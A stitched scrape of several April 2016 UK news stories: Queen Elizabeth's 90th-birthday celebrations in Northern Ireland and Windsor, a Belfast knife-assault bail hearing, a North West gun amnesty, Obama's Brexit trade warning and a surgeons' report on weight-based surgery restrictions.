
"The complaint was therefore substantiated and a file recommending disciplinary action against the officer sent to the PSNI."

Superintendent Darrin Jones said: "We accepted and implemented the Ombudsmans recommendation in February this year."

Chairman of the North and West Belfast Young Democratic Unionists, Dale Pankhurst said he made the complaint.

"Sometimes the police chastise the general public to be careful on social media," he said.

"Perhaps now they will practice what they preach, learn from this idiotic mistake and be careful in what they publish in future."
This photo taken on May 4, 1994 shows musician Prince (R) acknowledging applause after receiving from Italian tenor Placido Domingo (L) the "Outstanding Contribution to the Pop Industry" award during the World Music Awards ceremony in Monaco. Pop icon Prince -- whose pioneering brand of danceable funk made him one of music's most influential figures -- died on April 21, 2016 at his compound in Minnesota. He was 57. The announcement came just a week after the Grammy and Oscar winner was taken to hospital with a bad bout of influenza, although he made light of his health problems after the scare. / AFP PHOTO / Patrick HERTZOGPATRICK HERTZOG/AFP/Getty Images

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Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

Press Eye - Belfast - Northern Ireland - 21st April 2016 A mural on Rockview Street in the Village area of south Belfast on the day the Queen celebrates her 90th birthday. Picture by Jonathan Porter/PressEye

Handout photo issued by Harrison Photography of a 21 Gun Salute at Hillsborough Castle, Belfast, to celebrate the 90th birthday of Queen Elizabeth II. PA

Handout photo issued by Harrison Photography of a 21 Gun Salute at Hillsborough Castle, Belfast, to celebrate the 90th birthday of Queen Elizabeth II. PA

Two VIPs, both of whom celebrated their 90th birthday on the same day as The Queen (Thursday, 21 April), Albert Moore from East Belfast (left) and Austin Henderson from Stranmillis (right) assist Deputy Lord Mayor Alderman Guy Spence to light the beacon on the front lawn of City Hall. The Belfast tribute was part of a UK-wide beacon lighting programme marking the Royal birthday. Picture by Jonathan Porter/PressEye

A poignant crossing of lights beamed into the dark skies above Enniskillen last night as a symbol of two communities coming together in celebration of the Queen's 90th birthday.

In many ways the symbolic gesture wasn't just to commemorate the special occasion, but an opportunity to celebrate a community spirit that runs deep within the town.

Viscount Brookeborough, Her Majesty's Lord Lieutenant for Co Fermanagh, also lit a birthday beacon, while Enniskillen Castle was bathed in purple light for the special occasion.

Nearby there were royal-themed refreshments from local cafe the Jolly Sandwich Bar, while St Michael's Band and Portora Royal School played music on Darling Street.

The Very Rev Kenneth Hall, the Dean of Clogher, held a thanksgiving service in St Macartin's Cathedral, and was assisted by representatives from all the local churches.

The Queen's short walk across the street from the Cathedral to St Michael's Catholic Church in 2012 was seen as hugely symbolic, and still is.

"This is about building community, bringing people together," said Dean Hall.

"Just like The Queen did in 2012, we are trying to show tolerance and respect to all.

"We walk the same street, we breathe the same air, we share the same feelings." Assisting Dean Hall were the Rev David Cupples of the Presbyterian Church, the Rev Stephen Woods of the Methodist Church and the Rt Rev Monsignor Peter O'Reilly of the Catholic Church.

"The Queen knew very well what she was doing when she came here, the crossing of the street was about togetherness, about bringing us together," said Mgr O'Reilly.

Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Close Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images The Royal Standard flies above Windsor Castle as the Queen celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II and Prince Philip, Duke of Edinburgh wave from the top of an open Range Rover on the monarch's 90th Birthday on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Britain's Queen Elizabeth II (centre L) accompanied by her husband Prince Philip, Duke of Edinburgh greet wellwishers during a 'walkabout' on her 90th birthday in Windsor, west of London, on April 21, 2016. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Britain's Queen Elizabeth II (L) accompanied by Prince Philip, Duke of Edinburgh greet wellwishers during a walkabout on her 90th birthday in Windsor on April 21, 2016. AFP PHOTO / BEN STANSALLBEN STANSALL/AFP/Getty Images AFP/Getty Images Queen Elizabeth II waves to well wishers from a open top Range Rover in Windsor, Berkshire, as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets the public on her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images The Burger King restaurant at Tottenham Court Road in London, which has been rebranded for one day only as 'Burger Queen', in honour of Queen Elizabeth II's 90th birthday. David Parry/PA Wire PA Members of the 1st Battalion Welsh Guards band play outside Cardiff Castle in Cardiff, ahead of a 21 Gun salute in honour of The Queen's 90th birthday. Ben Wright/PA Wire PA Crowds gather for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Town criers Steve Clow (left) and Peter Baker join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Photo credit: John Stillwell/PA Wire PA Judy (left) and Anne Daley, from Wales, join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Sandra Martin from TV show Gogglebox joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images David Weeks joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Steve Clow, one of the 'Three Criers' Town Criers prepares for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. Photo by Chris Jackson/Getty Images) Getty Images The 'Three Criers' Tony Appleton, Steve Clow and Peter Baker prepare for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Judy Daley and Anne Daley from Cardiff wait in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Dennis Melvin waits in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Royal enthusiast John Loughrey and Kathy Martin join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images A rosette wishing Britain's Queen Elizabeth II a happy birthday is pictured on a royal supporter outside Windsor Castle, west of London, on April 21, 2016, as the Queen celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters gather outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Bunting is pictured outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA The cake made for Queen Elizabeth II by royal enthusiast Margaret Tyler is seen outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal enthusiast John Loughrey joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Donna Werner, from Connecticut in the USA, joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA / Facebook

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Whatsapp Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images)

"It fills me with pride to see so many people turn out for this event," he added.

Ken Rainey, president of the Rotary Club of Enniskillen, which helped organise the ceremony, said the event "symbolised what true community spirit is all about". "We are recognising that the Queen is really someone who is special to all of us, to the entire community," he said.

There was a nice touch during the street party when Peggy Bogue, who shares her 90th birthday with the monarch, was invited to cut a birthday cake as First Minister Arlene Foster led a sing-song to commemorate her big day.

Afterwards Mrs Foster said Enniskillen "is renowned for being a community that works together". "The Queen has shown us to value difference, not to be afraid of difference and to respect the other," she added.

"We shouldn't diminish ourselves in our own identities but we should celebrate the fact that we have difference, and I believe we do that very well in Enniskillen."
Dansco is set to be released on bail.

A toddler was dropped and sustained head injuries as her mother was allegedly assaulted at knifepoint on an east Belfast street, the High Court heard today.

Prosecutors said the 19-month-old child fell to the ground during the struggle at Bloomfield Avenue on April 8.

Details emerged during a bail hearing for a 49-year-old Slovakian man accused of targeting the woman as part of an escalating feud.

Otto Dansco, of Templemore Avenue in the city, denies charges of common assault, threats to kill, possessing an offensive weapon in a public place, and criminal damage to a coat.

According to prosecution counsel Dansco grabbed the alleged victim - a vulnerable 20-year-old woman - while she was carrying her young daughter.

It was claimed that he pointed a knife at the woman and said: "I will kill you."

She was allegedly subjected to further verbal abuse, being called a "b****" and "prostitute", the court was told.

The prosecuting barrister continued: "During the struggle the child of 19-months fell out of her arms onto the footpath and was later taken to the Royal Victoria Hospital for assessment to head injuries."

Police are still seeking a medical report on the incident.

Mr Justice Burgess was told CCTV footage from the scene showed Dansco get something from the boot of a car and run up Bloomfield Road as if he was chasing someone.

The alleged victim was said to live in a different part of Belfast from the accused, who works for a cleaning services company.

Reference was made to other incidents potentially connected to the suspected feud. In some of those Dansco is the complainant.

Stressing that bail depended on imposing an exclusion zone around parts of the city, the judge said: "Listening to this the only way I can stop all of this is locking them all up."

He also requested details on the addresses of all involved in a bid to keep them apart.

Dansco is set to be released on bail conditions that include having no contact with the alleged victim or members of her family.
Dublin Foreign Affairs minister Charles Flanagan has warned that there is no certainty a Brexit wouldnt affect the border.

His statement casts doubt on remarks by Northern Ireland Secretary Theresa Villiers that it is likely to remain unchanged.

Ms Villiers, who is campaigning for the UK to leave the EU, has insisted the border can be as free flowing after a Brexit vote as it is today.

But Mr Flangan has told the Dail that in the event of a Brexit the future of the border would not solely be decided by Dublin and London.

Therefore, nobody can say with certainty that nothing will change with the Border if the UK votes to leave the EU, he added.

He said as things stand, the border is practically invisible but that if Britain leaves the EU the current arrangements will depend heavily on the terms and conditions of a new relationship between the UK and the EU.
Hundreds of guns were handed in to police forces

More than 800 weapons have been handed to police forces across the North West region during a two-week "Give Up The Gun" firearms and ammunition surrender.

Police said they also received thousands of rounds of ammunition during the amnesty period which saw those surrendering weapons granted anonymity and immunity from prosecution for illegal possession.

Amnesties were held in Greater Manchester, Merseyside, Lancashire, Cheshire, North Wales and Cumbria from April 4 to April 18 - two years on from the last firearms surrender in the region when hundreds of weapons were handed in.

There has been a spate of shootings in Salford in the past year, including the murder of so-called "Mr Big" Paul Massey outside his home last July.

A total of 811 weapons were surrendered across all six areas.

The haul included a number of live and deactivated weapons including rifles, shotguns, handguns and air weapons as well as some imitation and antique firearms.

A replica AK-47, a number of wartime relics and a Smith & Wesson pistol was amongst the weaponry.

In Greater Manchester, 221 weapons were handed over, with thousands of rounds of ammunition yet to be counted.

In Merseyside 140 were passed over, Lancashire, 139, North Wales, 91, Cheshire, 127 and in Cumbria, 93.

Greater Manchester Police Assistant Chief Constable John O'Hare declared it "a remarkable success".

He added: "I am delighted that we have managed to remove over 220 weapons from the streets of Greater Manchester.

"The surrender may be over, but our commitment to tackle gun crime is not. There will be continued efforts from GMP, our colleagues across the North West and our partners as we work together to safeguard, educate and intervene at the earliest opportunity."

Greater Manchester Mayor and Police and Crime Commissioner Tony Lloyd thanked the people who came forward.

He said: "Guns bring devastation, causing serious injury, fatalities and misery to families and communities so every weapon and piece of ammunition taken off the street is to be welcomed. These weapons are now in safe hands and out of the hands of criminals.

"The success of the surrender sends out a clear message that guns have no place in our communities and while the surrender may be over, we will continue to work together with local people to achieve our ambition of safer, gun-free streets."

Members of the public can always hand weapons to the police, whether licence holders or otherwise.

If a weapon is discovered during a house clearance or inherited or found, trained staff are on hand to secure unwanted weapons.

People are advised to call their local police enquiry desk or 101 for assistance.
Britain would not be able to strike a free trade deal with the US "any time soon" if it leaves the EU, as Washington's focus would be on reaching agreement with the European Union, Barack Obama has said.

The President was speaking after Downing Street talks with Prime Minister David Cameron during a two-day visit which he has used to speak out in favour of continued UK membership of the 28-nation bloc after the June 23 referendum.

At a joint press conference in the Foreign Office, Mr Cameron insisted that the special relationship between the UK and US was not "constrained" by Britain's EU membership.

EU membership gave Britain "a powerful tool" to stand up for the values it shares with the US, said Mr Cameron, adding: "Now, I think, is a time to stay true to those values, and to stick together with our friends and allies in Europe and around the world."

Mr Obama said the UK would be "in the back of the queue" for a trade deal if it left the EU, because the US would focus on the bigger bloc.

The US president stressed that the referendum was a "decision for the people of the United Kingdom" and he was "not coming here to fix any votes".

But he defended his right to offer an opinion, saying: "In democracies everybody should want more information, not less, and you shouldn't be afraid to hear an argument being made - that's not a threat, that should enhance the debate.

"Particularly because my understanding is that some of the folks on the other side have been ascribing to the United States certain actions we will take if the UK does leave the EU - they say for example that 'we will just cut our own trade deals with the United States'.

"So they are voicing an opinion about what the United States is going to do, I figured you might want to hear from the president of the United States what I think the United States is going to do.

"And on that matter, for example, I think it's fair to say that maybe some point down the line there might be a UK-US trade agreement, but it's not going to happen any time soon because our focus is in negotiating with a big bloc, the European Union, to get a trade agreement done.

"The UK is going to be in the back of the queue."

Trying to do "piecemeal trade agreements" was "hugely inefficient", he said.

Setting out the choice facing the UK, the president said: "If, right now, I have got access to a massive market where I sell 44% of my exports and now I'm thinking about leaving the organisation that gives me access to that market and that is responsible for millions of jobs in my country and responsible for an enormous amount of commerce and upon which a lot of businesses depend - that's not something I would probably do."

He added that the UK's membership of the EU "enhances the special relationship" because it meant Washington had a trusted partner in Europe on issues including the fight against terrorism.

"Precisely because I have a confidence in the UK, and I know that if we are not working effectively with Paris or Brussels then those attacks are going to migrate to the United States and to London, I want one of my strongest partners in that conversation.

"So it enhances the special relationship, it does not diminish it."

Mr Obama said that while the vote was a matter for the British people, the US had a "deep interest" in the outcome.

"The United States wants a strong United Kingdom as a partner and the United Kingdom is at its best when it is helping to lead a strong Europe," he said.

"It leverages UK power to be part of the European Union. I don't believe the EU moderates British influence in the world, it magnifies it."

He acknowledged that all countries were concerned about their sovereignty, but said that the UK's membership of the EU added to collective prosperity and security.

"All of us cherish our sovereignty - our country is pretty vocal about that - but the US also recognises that we strengthen our security through our membership of Nato, we strengthen our prosperity through organisations like the G7 and the G20.

"I believe the UK strengthens both our collective security and prosperity through the EU."

Mr Cameron said the referendum was the "sovereign choice of the British people" but added: "As we make that choice, it surely makes sense to listen to what our friends think, to listen to their opinion, to listen to their views and that's what Barack has been talking about today."

He added: "On this vital issue of trade, where Barack has made such a clear statement, we should remember why we are currently negotiating this biggest trade deal in the whole world, and in the whole world's history, between the European Union and the United States.

"It is because Britain played an absolutely leading part in pushing for those talks to get going."

The UK had "set the agenda for what could be an absolutely game-changing trade deal for jobs, for investment" because it was part of the EU.

Mr Obama rejected a description of the EU as being "in crisis", but said it was "under strain" as a result of the difficulties of the single currency and the numbers of migrants entering the continent.

He added: "I am confident that the ties that bind Europe together are ultimately much stronger than the forces that are trying to pull it apart."

Europe had enjoyed "an extraordinary stretch of prosperity" that might be unmatched in world history, said the President.

"When you think about the 20th century and the 21st century, 21st-century Europe looks an awful lot better, and I think a majority of Europeans recognise that," said Mr Obama.

"They see that unity and peace have delivered sustained economic growth, reduced conflict, reduced violence, enhanced the quality of life of people, a nd I'm confident that can continue.

"But I do believe it is important to watch out for some of these fault lines that are developing."

While Mr Obama accepted it was "right" for UK voters to make their judgment on June 23 on the basis of what will be good for them and for Britain's economic prospects and jobs, he added: "I do also think this vote will sent a signal that is relevant about whether the kind of prosperity we have built together is going to continue or whether the forces of division end up being more prominent."

In a clear reference to the president's warnings against Brexit, Mr Cameron said Mr Obama was "a very good friend" of the UK who could be relied upon for "sage advice".

The Prime Minister said the "strong and essential partnership" between Britain and the US has "never been more important" on issues such as the fight against terrorism, action against nuclear proliferation and resistance to Russian aggression.

He added: "In all the areas we've discussed today, our collective power and reach is amplified by Britain's membership of the European Union.

"When it comes to the special relationship between our two countries, there's no greater enthusiast than me... But I've never felt constrained in any way in strengthening this relationship by the fact that we are in the European Union.

"In fact, quite the reverse. We deliver for our people through all the international groups that we are part of. We enhance our security through membership of Nato. We further our prosperity through the G7 and G20.

"And like those organisations, Britain's membership of the EU gives us a powerful tool to deliver on the prosperity and security that our people need and to stand up for the values that our countries share.

"Now I think is a time to stay true to those values, and to stick together with our friends and allies in Europe and around the world."

Mr Cameron added: "I've always found Barack someone who gives sage advice, he's a man with a very good heart and he has been a very good friend - and always will be a good friend, I know - to the United Kingdom."

Responding to Mr Obama's comments, the co-founder of the Leave.EU campaign, Richard Tice, said: "We don't have a trade deal with the United States now because we're members of the European Union.

"The proposed EU-US trade deal, TTIP (Transatlantic Trade and Investment Partnership), would be disastrous for British workers.

"Obama doesn't have the authority to deny us a deal, as he will be long gone before any such proposals are on the table."

In a statement issued by main Brexit campaign Vote Leave, Justice Minister Dominic Raab focused on Mr Obama's comments on the migration crisis rather than his warning about a trade deal.

Mr Raab said: " The president made clear that uncontrolled immigration into the EU is a threat to national security. I agree - that is why it is safer to take back control so that we can stop terror suspects from Europe coming into the UK.

"He argued that he thinks it is in America's interests for the UK to stay in the EU but what is good for US politicians is not necessarily good for the British people. We want more international cooperation after we Vote Leave, but the EU is not fit for purpose, and cannot cope with the multiple crises we face like terrorism, Syria and mass migration.

"The US would not dream of opening its border with Mexico, so it is hypocritical for President Obama to insist that we do the same with Europe."

Labour's shadow business secretary Angela Eagle said: "President Obama's comments confirm what we have been saying for months - that Britain's ability to negotiate trade deals would be hugely diminished after Brexit. It is simply not credible for the Leave campaign to suggest we could swiftly negotiate a favourable trade deal with the United States and other countries."
Policies to restrict surgery based on a person's weight could affect a "significant proportion" of the population, the RCS said

Many overweight people in England are having surgery withheld unless they lose weight - even though some patients need treatment in order to get into shape, leading medics have warned.

Policies to restrict surgery based on a person's weight could affect a "significant proportion" of the population, t he Royal College of Surgeons (RCS) said.

Blanket bans that deny or delay patients' access to surgery are "wrong", said RCS president Clare Marx.

The RCS said people who are overweight and smokers are becoming "soft targets" for NHS savings after its latest report found that m ore than one in three areas of England restrict surgery to some of these patients.

The College examined information on policies from clinical commissioning groups (CCGs) around England and discovered several "worrying" restrictions on access to surgery.

It looked into protocols for hip and knee replacements, hernia surgery, tonsil removal and general policies covering planned procedures.

The RCS found that 34% of the 200 CCGs have one or more policies on body mass index (BMI) level or smoking status which stop overweight patients or smokers being referred for routine surgery.

Many regions were contravening national clinical guidance by denying or delaying routine surgery to patients - such as hip and knee replacements, it said.

Almost a third of CCGs have one or more mandatory policies on BMI level, stopping overweight or obese patients being referred for routine surgery, the RCS found.

And 22% of the regional health bodies are placing mandatory weight thresholds on referral to hip and knee replacement surgery - a rise from when they were last polled in 2014 when the figure stood at 13%.

Meanwhile 12% of CCGs require patients to stop smoking before they can access one or more routine surgical procedures.

Miss Marx said: "B lanket bans that deny or delay patients' access to surgery are wrong.

"NHS surgical treatment should be based on clinical guidance and patients should be dealt with on a case by case basis. In some instances a patient might need surgery in order to help them to do exercise and lose weight.

"While it is difficult to categorically prove such policies are aimed at saving money, it is unlikely to be a coincidence that many financially challenged CCGs are restricting access to surgery.

"Our worry is that smokers and overweight patients are becoming soft targets for NHS savings.

"There is no clinical guidance from the National Institute for Health and Care Excellence, the Royal College of Surgeons, and other surgical associations to support mandatory bans for routine surgery on the basis of whether patients smoke or are overweight."

Tim Wilton, president of the British Orthopaedic Association, added: "There is no clinical, or value for money, justification for refusing to fund hip or knee replacements based on BMI or smoker status. Good outcomes can be achieved for patients regardless of whether they smoke or are obese, even at BMIs of over 50, and these surgeries are highly cost effective.

"Hard-and-fast rules also undermine the NHS's ability to involve patients in decisions about their own care, and are a distraction from the task at hand: making sure patients receive the best possible advice and care, to enable them to make the best possible decisions for their health - including losing weight and stopping smoking where appropriate. These comorbidity issues are best dealt with by appropriate informed consent and not by management dictat."

The news comes after health officials in Birmingham came under fire over plans to ration surgery and treatments.

Six Birmingham region CCGs were accused of taking guidance out of context or misusing it in an attempt to restrict services.

Under the CCGs' plans, only patients that meet a strict criteria will be allowed to receive 45 procedures, with GPs having to apply for specific funding for those with "exceptional clinical need".

Tam Fry, from the National Obesity Forum, said: "CCGs are rationing hip and bariatric surgery because they now have to pay for it themselves.

"The RCS is absolutely correct and, furthermore, the GPs' action is both unethical and a false economy.

"Bariatric surgery pays for itself within two years and the very fat are sitting ducks for more expensive and long-term conditions.

"Not only is their weight bearing down on their hips and knees but they may acquire type 2 diabetes, heart disease, cancers and stroke.

"In addition it is quite stupid to erect barriers to surgery which, if carried out quickly, could save the NHS money and the patients a lot of grief "
Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

21 gun salute at Hillsborough Castle to mark the Queen's 90th birthday. Picture by Jonathan Porter/PressEye

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

Pacemaker Press Belfast 21-04-2016: A number of events are being held in Northern Ireland to celebrate the 90th birthday of the Queen. A 21-gun salute took place at Hillsborough Castle and at other venues across the UK at noon. Picture By: Arthur Allison.

